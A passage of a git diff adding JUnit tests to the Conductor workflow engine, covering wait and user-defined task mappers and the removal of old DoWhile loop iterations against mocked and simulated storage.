WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + // when + List mappedTasks = userDefinedTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals(TaskType.USER_DEFINED.name(), mappedTasks.get(0).getTaskType()); + } + + @Test + public void getMappedTasksException() { + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("user_task"); + workflowTask.setType(TaskType.USER_DEFINED.name()); + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + // then + expectedException.expect(TerminateWorkflowException.class); + expectedException.expectMessage( + String.format( + "Invalid task specified. Cannot find task by name %s in the task definitions", + workflowTask.getName())); + // when + userDefinedTaskMapper.getMappedTasks(taskMapperContext); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/WaitTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/WaitTaskMapperTest.java new file mode 100644 index 0000000..ddc813f --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/WaitTaskMapperTest.java @@ -0,0 +1,216 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.tasks.Wait; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_WAIT; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.doReturn; +import static org.mockito.Mockito.mock; + +public class WaitTaskMapperTest { + + @Test + public void getMappedTasks() { + + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("Wait_task"); + workflowTask.setType(TaskType.WAIT.name()); + String taskId = new IDGenerator().generate(); + + ParametersUtils parametersUtils = mock(ParametersUtils.class); + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + WaitTaskMapper waitTaskMapper = new WaitTaskMapper(parametersUtils); + // When + List mappedTasks = waitTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals(TASK_TYPE_WAIT, mappedTasks.get(0).getTaskType()); + } + + @Test + public void testWaitForever() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("Wait_task"); + workflowTask.setType(TaskType.WAIT.name()); + String taskId = new IDGenerator().generate(); + + ParametersUtils parametersUtils = mock(ParametersUtils.class); + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + WaitTaskMapper waitTaskMapper = new WaitTaskMapper(parametersUtils); + // When + List mappedTasks = waitTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(mappedTasks.get(0).getStatus(), TaskModel.Status.IN_PROGRESS); + assertTrue(mappedTasks.get(0).getOutputData().isEmpty()); + } + + @Test + public void testWaitUntil() { + + String dateFormat = "yyyy-MM-dd HH:mm"; + DateTimeFormatter formatter = DateTimeFormatter.ofPattern(dateFormat); + LocalDateTime now = LocalDateTime.now(); + String formatted = formatter.format(now); + System.out.println(formatted); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("Wait_task"); + workflowTask.setType(TaskType.WAIT.name()); + String taskId = new IDGenerator().generate(); + Map input = Map.of(Wait.UNTIL_INPUT, formatted); + workflowTask.setInputParameters(input); + + ParametersUtils parametersUtils = mock(ParametersUtils.class); + doReturn(input).when(parametersUtils).getTaskInputV2(any(), any(), any(), any()); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(Map.of(Wait.UNTIL_INPUT, formatted)) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + WaitTaskMapper waitTaskMapper = new WaitTaskMapper(parametersUtils); + // When + List mappedTasks = waitTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(mappedTasks.get(0).getStatus(), TaskModel.Status.IN_PROGRESS); + assertEquals(mappedTasks.get(0).getCallbackAfterSeconds(), 0L); + } + + @Test + public void testWaitDuration() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("Wait_task"); + workflowTask.setType(TaskType.WAIT.name()); + String taskId = new IDGenerator().generate(); + Map input = Map.of(Wait.DURATION_INPUT, "1s"); + workflowTask.setInputParameters(input); + + ParametersUtils parametersUtils = mock(ParametersUtils.class); + doReturn(input).when(parametersUtils).getTaskInputV2(any(), any(), any(), any()); + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(Map.of(Wait.DURATION_INPUT, "1s")) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + WaitTaskMapper waitTaskMapper = new WaitTaskMapper(parametersUtils); + // When + List mappedTasks = waitTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(mappedTasks.get(0).getStatus(), TaskModel.Status.IN_PROGRESS); + assertTrue(mappedTasks.get(0).getCallbackAfterSeconds() <= 1L); + } + + @Test + public void testInvalidWaitConfig() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("Wait_task"); + workflowTask.setType(TaskType.WAIT.name()); + String taskId = new IDGenerator().generate(); + Map input = + Map.of(Wait.DURATION_INPUT, "1s", Wait.UNTIL_INPUT, "2022-12-12"); + workflowTask.setInputParameters(input); + + ParametersUtils parametersUtils = mock(ParametersUtils.class); + doReturn(input).when(parametersUtils).getTaskInputV2(any(), any(), any(), any()); + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput( + Map.of(Wait.DURATION_INPUT, "1s", Wait.UNTIL_INPUT, "2022-12-12")) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + WaitTaskMapper waitTaskMapper = new WaitTaskMapper(parametersUtils); + // When + List mappedTasks = waitTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(mappedTasks.get(0).getStatus(), TaskModel.Status.FAILED_WITH_TERMINAL_ERROR); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/DoWhileIntegrationTest.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/DoWhileIntegrationTest.java new file mode 100644 index 0000000..97a3bbd --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/DoWhileIntegrationTest.java @@ -0,0 +1,358 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +/** + * Integration-style tests for DoWhile task cleanup functionality. These tests verify the + * interaction between removeIterations() and ExecutionDAOFacade using a mock that simulates + * database behavior. + */ +public class DoWhileIntegrationTest { + + private DoWhile doWhile; + private ExecutionDAOFacade executionDAOFacade; + + // Simulated in-memory database + private Map taskDatabase; + + @Before + public void setup() { + // Create fresh in-memory "database" for each test + taskDatabase = new ConcurrentHashMap<>(); + + // Create mock ExecutionDAOFacade with real behavior + executionDAOFacade = mock(ExecutionDAOFacade.class); + + // Configure mock to actually remove from our simulated database + doAnswer( + invocation -> { + String taskId = invocation.getArgument(0); + taskDatabase.remove(taskId); + return null; + }) + .when(executionDAOFacade) + .removeTask(anyString()); + + // Create real DoWhile task handler + ParametersUtils parametersUtils = new ParametersUtils(new ObjectMapper()); + doWhile = new DoWhile(parametersUtils, executionDAOFacade); + } + + @Test + public void testRemoveIterations_ActuallyRemovesFromDatabase() { + // Create workflow with 10 iterations (3 tasks per iteration = 30 tasks total) + WorkflowModel workflow = createAndPersistWorkflow(10, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(10); + + // Verify all 30 tasks exist in "database" + assertEquals("Should have 30 tasks initially", 30, taskDatabase.size()); + + // Execute cleanup - keep last 3 iterations + doWhile.removeIterations(workflow, doWhileTask, 3); + + // Verify only last 3 iterations remain (9 tasks) + assertEquals("Should have 9 tasks remaining", 9, taskDatabase.size()); + + // Verify correct iterations remain (8, 9, 10) + Set remainingIterations = + taskDatabase.values().stream() + .map(TaskModel::getIteration) + .collect(Collectors.toSet()); + assertEquals("Should keep iterations 8, 9, 10", Set.of(8, 9, 10), remainingIterations); + } + + @Test + public void testRemoveIterations_WithLargeIterationCount() { + // Create workflow with 100 iterations + WorkflowModel workflow = createAndPersistWorkflow(100, 2); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(100); + + // Verify all 200 tasks exist + assertEquals(200, taskDatabase.size()); + + // Execute cleanup - keep last 10 iterations + doWhile.removeIterations(workflow, doWhileTask, 10); + + // Verify only last 10 iterations remain (20 tasks) + assertEquals("Should have 20 tasks remaining", 20, taskDatabase.size()); + + // Verify correct iteration range + Set remainingIterations = + taskDatabase.values().stream() + .map(TaskModel::getIteration) + .collect(Collectors.toSet()); + + for (int i = 91; i <= 100; i++) { + assertTrue("Should contain iteration " + i, remainingIterations.contains(i)); + } + assertEquals("Should have exactly 10 iterations", 10, remainingIterations.size()); + } + + @Test + public void testRemoveIterations_DoesNotAffectOtherWorkflows() { + // Create two separate workflows + WorkflowModel workflow1 = createAndPersistWorkflow(5, 2); + WorkflowModel workflow2 = createAndPersistWorkflow(5, 2); + + TaskModel doWhileTask1 = getDoWhileTask(workflow1); + doWhileTask1.setIteration(5); + + String wf1Id = workflow1.getWorkflowId(); + String wf2Id = workflow2.getWorkflowId(); + + // Count tasks for each workflow + long wf1CountBefore = + taskDatabase.values().stream() + .filter(t -> wf1Id.equals(t.getWorkflowInstanceId())) + .count(); + long wf2CountBefore = + taskDatabase.values().stream() + .filter(t -> wf2Id.equals(t.getWorkflowInstanceId())) + .count(); + + assertEquals(10, wf1CountBefore); + assertEquals(10, wf2CountBefore); + + // Execute cleanup on workflow1 only + doWhile.removeIterations(workflow1, doWhileTask1, 2); + + // Count after cleanup + long wf1CountAfter = + taskDatabase.values().stream() + .filter(t -> wf1Id.equals(t.getWorkflowInstanceId())) + .count(); + long wf2CountAfter = + taskDatabase.values().stream() + .filter(t -> wf2Id.equals(t.getWorkflowInstanceId())) + .count(); + + // Verify workflow1 tasks were removed (keeping 2 iterations = 4 tasks) + assertEquals(4, wf1CountAfter); + + // Verify workflow2 tasks are unchanged + assertEquals("Workflow2 should be unaffected", 10, wf2CountAfter); + } + + @Test + public void testRemoveIterations_BelowThreshold_NoRemoval() { + // Create workflow with 3 iterations + WorkflowModel workflow = createAndPersistWorkflow(3, 2); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(3); + + // Store initial count + int initialCount = taskDatabase.size(); + assertEquals("Should start with 6 tasks", 6, initialCount); + + // Execute cleanup with keepLastN > current iteration + doWhile.removeIterations(workflow, doWhileTask, 5); + + // Verify no tasks were removed + int finalCount = taskDatabase.size(); + assertEquals("Should not remove any tasks when below threshold", initialCount, finalCount); + } + + @Test + public void testRemoveIterations_VerifyTasksActuallyGone() { + // Create workflow with specific task IDs we can track + WorkflowModel workflow = createAndPersistWorkflow(4, 2); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(4); + + // Get task IDs from iterations 1 and 2 (should be removed) + List oldTaskIds = + workflow.getTasks().stream() + .filter(t -> t.getIteration() <= 2) + .filter(t -> !t.getTaskId().equals(doWhileTask.getTaskId())) + .map(TaskModel::getTaskId) + .collect(Collectors.toList()); + + assertEquals("Should have 4 old tasks", 4, oldTaskIds.size()); + + // Verify all old tasks exist before cleanup + for (String taskId : oldTaskIds) { + assertTrue("Task should exist before cleanup", taskDatabase.containsKey(taskId)); + } + + // Execute cleanup (keep last 2 iterations) + doWhile.removeIterations(workflow, doWhileTask, 2); + + // Verify old tasks are actually gone from database + for (String taskId : oldTaskIds) { + assertFalse( + "Task " + taskId + " should be removed from database", + taskDatabase.containsKey(taskId)); + } + + // Get task IDs from iterations 3 and 4 (should remain) + List recentTaskIds = + workflow.getTasks().stream() + .filter(t -> t.getIteration() >= 3) + .filter(t -> !t.getTaskId().equals(doWhileTask.getTaskId())) + .map(TaskModel::getTaskId) + .collect(Collectors.toList()); + + // Verify recent tasks still exist + for (String taskId : recentTaskIds) { + assertTrue("Recent task should still exist", taskDatabase.containsKey(taskId)); + } + } + + @Test + public void testRemoveIterations_IncrementalCleanup() { + // Create workflow with 5 iterations initially + WorkflowModel workflow = createAndPersistWorkflow(5, 2); + TaskModel doWhileTask = getDoWhileTask(workflow); + + // First cleanup at iteration 5 - keep last 3 + doWhileTask.setIteration(5); + doWhile.removeIterations(workflow, doWhileTask, 3); + + // Should have iterations 3, 4, 5 remaining (6 tasks) + assertEquals("Should have 6 tasks after first cleanup", 6, taskDatabase.size()); + Set iterations1 = + taskDatabase.values().stream() + .map(TaskModel::getIteration) + .collect(Collectors.toSet()); + assertEquals("Should have iterations 3, 4, 5", Set.of(3, 4, 5), iterations1); + + // Simulate adding more iterations (6, 7, 8) + for (int iteration = 6; iteration <= 8; iteration++) { + for (int taskNum = 1; taskNum <= 2; taskNum++) { + TaskModel task = createIterationTask(workflow.getWorkflowId(), iteration, taskNum); + workflow.getTasks().add(task); + taskDatabase.put(task.getTaskId(), task); + } + } + + // Second cleanup at iteration 8 - keep last 3 + doWhileTask.setIteration(8); + doWhile.removeIterations(workflow, doWhileTask, 3); + + // Should have iterations 6, 7, 8 remaining (6 tasks) + assertEquals("Should have 6 tasks after second cleanup", 6, taskDatabase.size()); + + Set iterations2 = + taskDatabase.values().stream() + .map(TaskModel::getIteration) + .collect(Collectors.toSet()); + assertEquals("Should have iterations 6, 7, 8", Set.of(6, 7, 8), iterations2); + } + + // Helper methods + + private WorkflowModel createAndPersistWorkflow(int iterations, int tasksPerIteration) { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("test-workflow-" + UUID.randomUUID()); + + List allTasks = new ArrayList<>(); + + // Create DO_WHILE task (not stored in iteration tasks) + TaskModel doWhileTask = createDoWhileTask(workflow.getWorkflowId(), tasksPerIteration); + allTasks.add(doWhileTask); + + // Create and persist tasks for each iteration + for (int iteration = 1; iteration <= iterations; iteration++) { + for (int taskNum = 1; taskNum <= tasksPerIteration; taskNum++) { + TaskModel task = createIterationTask(workflow.getWorkflowId(), iteration, taskNum); + allTasks.add(task); + + // Persist task to simulated database + taskDatabase.put(task.getTaskId(), task); + } + } + + workflow.setTasks(allTasks); + return workflow; + } + + private TaskModel createDoWhileTask(String workflowId, int tasksPerIteration) { + TaskModel doWhileTask = new TaskModel(); + doWhileTask.setTaskId("do-while-" + UUID.randomUUID()); + doWhileTask.setWorkflowInstanceId(workflowId); + doWhileTask.setReferenceTaskName("doWhileTask"); + doWhileTask.setTaskType("DO_WHILE"); + doWhileTask.setStatus(TaskModel.Status.IN_PROGRESS); + + // Create workflow task with loopOver definition + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("doWhileTask"); + workflowTask.setType("DO_WHILE"); + + // Add loop over tasks + List loopOverTasks = new ArrayList<>(); + for (int i = 1; i <= tasksPerIteration; i++) { + WorkflowTask loopTask = new WorkflowTask(); + loopTask.setTaskReferenceName("loopTask" + i); + loopOverTasks.add(loopTask); + } + workflowTask.setLoopOver(loopOverTasks); + + // Set input parameters + Map inputParams = new HashMap<>(); + inputParams.put("keepLastN", 3); + workflowTask.setInputParameters(inputParams); + + doWhileTask.setWorkflowTask(workflowTask); + return doWhileTask; + } + + private TaskModel createIterationTask(String workflowId, int iteration, int taskNum) { + TaskModel task = new TaskModel(); + task.setTaskId("task-" + UUID.randomUUID()); + task.setWorkflowInstanceId(workflowId); + task.setReferenceTaskName("loopTask" + taskNum + "__" + iteration); + task.setIteration(iteration); + task.setTaskType("SIMPLE"); + task.setTaskDefName("loopTask" + taskNum); + task.setStatus(TaskModel.Status.COMPLETED); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("loopTask" + taskNum); + task.setWorkflowTask(workflowTask); + + return task; + } + + private TaskModel getDoWhileTask(WorkflowModel workflow) { + return workflow.getTasks().stream() + .filter(t -> "DO_WHILE".equals(t.getTaskType())) + .findFirst() + .orElseThrow(() -> new IllegalStateException("No DO_WHILE task found")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/DoWhileTest.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/DoWhileTest.java new file mode 100644 index 0000000..9ea5266 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/DoWhileTest.java @@ -0,0 +1,1421 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.stream.Collectors; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.ArgumentCaptor; +import org.mockito.Mock; +import org.mockito.MockitoAnnotations; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.*; + +public class DoWhileTest { + + @Mock private ExecutionDAOFacade executionDAOFacade; + @Mock private WorkflowExecutor workflowExecutor; + + private ParametersUtils parametersUtils; + private DoWhile doWhile; + + @Before + public void setup() { + MockitoAnnotations.openMocks(this); + parametersUtils = new ParametersUtils(new ObjectMapper()); + doWhile = new DoWhile(parametersUtils, executionDAOFacade); + } + + @Test + public void testRemoveIterations_WithKeepLastN_RemovesOldIterations() { + // Create workflow with 10 iterations, keep last 3 + WorkflowModel workflow = createWorkflowWithIterations(10, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(10); + + // Execute removal + doWhile.removeIterations(workflow, doWhileTask, 3); + + // Should remove 7 iterations * 3 tasks = 21 tasks + verify(executionDAOFacade, times(21)).removeTask(anyString()); + } + + @Test + public void testRemoveIterations_BelowThreshold_RemovesNothing() { + // Create workflow with 3 iterations, keep last 5 + WorkflowModel workflow = createWorkflowWithIterations(3, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(3); + + // Execute removal + doWhile.removeIterations(workflow, doWhileTask, 5); + + // Should not remove anything (iteration 3 <= keepLastN 5) + verify(executionDAOFacade, never()).removeTask(anyString()); + } + + @Test + public void testRemoveIterations_ExactBoundary_RemovesNothing() { + // Create workflow with 5 iterations, keep last 5 + WorkflowModel workflow = createWorkflowWithIterations(5, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(5); + + // Execute removal + doWhile.removeIterations(workflow, doWhileTask, 5); + + // Should not remove anything (iteration 5 == keepLastN 5) + verify(executionDAOFacade, never()).removeTask(anyString()); + } + + @Test + public void testRemoveIterations_FirstIteration_RemovesNothing() { + // Create workflow with 1 iteration + WorkflowModel workflow = createWorkflowWithIterations(1, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(1); + + // Execute removal + doWhile.removeIterations(workflow, doWhileTask, 3); + + // Should not remove anything (no old iterations yet) + verify(executionDAOFacade, never()).removeTask(anyString()); + } + + @Test + public void testRemoveIterations_KeepLastOne_RemovesAllButLast() { + // Create workflow with 10 iterations, keep last 1 + WorkflowModel workflow = createWorkflowWithIterations(10, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(10); + + // Execute removal + doWhile.removeIterations(workflow, doWhileTask, 1); + + // Should remove 9 iterations * 3 tasks = 27 tasks + verify(executionDAOFacade, times(27)).removeTask(anyString()); + } + + @Test + public void testRemoveIterations_DoesNotRemoveDoWhileTaskItself() { + // Create workflow with 5 iterations + WorkflowModel workflow = createWorkflowWithIterations(5, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(5); + + ArgumentCaptor taskIdCaptor = ArgumentCaptor.forClass(String.class); + + // Execute removal + doWhile.removeIterations(workflow, doWhileTask, 2); + + // Capture all removed task IDs + verify(executionDAOFacade, atLeastOnce()).removeTask(taskIdCaptor.capture()); + List removedTaskIds = taskIdCaptor.getAllValues(); + + // Verify DO_WHILE task itself was not removed + assertFalse( + "DO_WHILE task should not be removed", + removedTaskIds.contains(doWhileTask.getTaskId())); + } + + @Test + public void testRemoveIterations_OnlyRemovesTasksFromOldIterations() { + // Create workflow with 5 iterations, keep last 2 + WorkflowModel workflow = createWorkflowWithIterations(5, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(5); + + ArgumentCaptor taskIdCaptor = ArgumentCaptor.forClass(String.class); + + // Execute removal + doWhile.removeIterations(workflow, doWhileTask, 2); + + // Capture all removed task IDs + verify(executionDAOFacade, times(9)).removeTask(taskIdCaptor.capture()); // 3 iterations * 3 + // tasks + List removedTaskIds = taskIdCaptor.getAllValues(); + + // Get tasks that should remain (iterations 4, 5) + List remainingTasks = + workflow.getTasks().stream() + .filter(t -> t.getIteration() >= 4) + .collect(Collectors.toList()); + + // Verify no remaining tasks were removed + for (TaskModel task : remainingTasks) { + assertFalse( + "Task from iteration " + + task.getIteration() + + " should not be removed: " + + task.getReferenceTaskName(), + removedTaskIds.contains(task.getTaskId())); + } + + // Verify old tasks were removed (iterations 1, 2, 3) + List oldTasks = + workflow.getTasks().stream() + .filter(t -> t.getIteration() <= 3) + .filter( + t -> + !t.getReferenceTaskName() + .equals(doWhileTask.getReferenceTaskName())) + .collect(Collectors.toList()); + + assertEquals("Should have 9 old tasks", 9, oldTasks.size()); + for (TaskModel task : oldTasks) { + assertTrue( + "Task from iteration " + + task.getIteration() + + " should be removed: " + + task.getReferenceTaskName(), + removedTaskIds.contains(task.getTaskId())); + } + } + + @Test + public void testRemoveIterations_ContinuesOnDaoFailure() { + // Create workflow with 3 iterations + WorkflowModel workflow = createWorkflowWithIterations(3, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(3); + + // Get first task to simulate failure + TaskModel firstTask = + workflow.getTasks().stream() + .filter(t -> t.getIteration() == 1) + .filter( + t -> + !t.getReferenceTaskName() + .equals(doWhileTask.getReferenceTaskName())) + .findFirst() + .orElseThrow(); + + // Simulate failure on first task removal + doThrow(new RuntimeException("Database error")) + .when(executionDAOFacade) + .removeTask(firstTask.getTaskId()); + + // Execute removal - should not throw exception + doWhile.removeIterations(workflow, doWhileTask, 2); + + // Should still attempt to remove all old iteration tasks (3 tasks from iteration 1) + verify(executionDAOFacade, times(3)).removeTask(anyString()); + } + + @Test + public void testRemoveIterations_VerifiesCorrectTaskIdsRemoved() { + // Create workflow with specific task IDs + WorkflowModel workflow = createWorkflowWithIterations(4, 2); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(4); + + ArgumentCaptor taskIdCaptor = ArgumentCaptor.forClass(String.class); + + // Execute removal (should remove iterations 1, 2) + doWhile.removeIterations(workflow, doWhileTask, 2); + + verify(executionDAOFacade, times(4)).removeTask(taskIdCaptor.capture()); // 2 iterations * 2 + // tasks + List removedTaskIds = taskIdCaptor.getAllValues(); + + // Get expected task IDs (from iterations 1 and 2) + Set expectedRemovedIds = + workflow.getTasks().stream() + .filter(t -> t.getIteration() <= 2) + .filter( + t -> + !t.getReferenceTaskName() + .equals(doWhileTask.getReferenceTaskName())) + .map(TaskModel::getTaskId) + .collect(Collectors.toSet()); + + assertEquals("Should remove correct number of tasks", 4, expectedRemovedIds.size()); + assertEquals( + "Should remove exact expected tasks", + expectedRemovedIds, + Set.copyOf(removedTaskIds)); + } + + @Test + public void testRemoveIterations_HandlesEmptyWorkflow() { + // Create empty workflow + WorkflowModel workflow = new WorkflowModel(); + workflow.setTasks(new ArrayList<>()); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.setIteration(5); + workflow.getTasks().add(doWhileTask); + + // Execute removal - should handle gracefully + doWhile.removeIterations(workflow, doWhileTask, 3); + + // Should not attempt to remove anything + verify(executionDAOFacade, never()).removeTask(anyString()); + } + + @Test + public void testRemoveIterations_WithMultipleTasksPerIteration() { + // Create workflow with 5 tasks per iteration + WorkflowModel workflow = createWorkflowWithIterations(5, 5); + TaskModel doWhileTask = getDoWhileTask(workflow); + doWhileTask.setIteration(5); + + // Execute removal (keep last 2 iterations) + doWhile.removeIterations(workflow, doWhileTask, 2); + + // Should remove 3 iterations * 5 tasks = 15 tasks + verify(executionDAOFacade, times(15)).removeTask(anyString()); + } + + // Helper methods + + private WorkflowModel createWorkflowWithDef() { + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef def = new WorkflowDef(); + def.setName("test-workflow"); + def.setVersion(1); + workflow.setWorkflowDefinition(def); + workflow.setWorkflowId("test-workflow-" + System.currentTimeMillis()); + return workflow; + } + + private WorkflowModel createWorkflowWithIterations(int iterations, int tasksPerIteration) { + WorkflowModel workflow = createWorkflowWithDef(); + + List allTasks = new ArrayList<>(); + + // Create DO_WHILE task + TaskModel doWhileTask = createDoWhileTask(); + allTasks.add(doWhileTask); + + // Create tasks for each iteration + for (int iteration = 1; iteration <= iterations; iteration++) { + for (int taskNum = 1; taskNum <= tasksPerIteration; taskNum++) { + TaskModel task = new TaskModel(); + task.setTaskId("task-" + iteration + "-" + taskNum); + 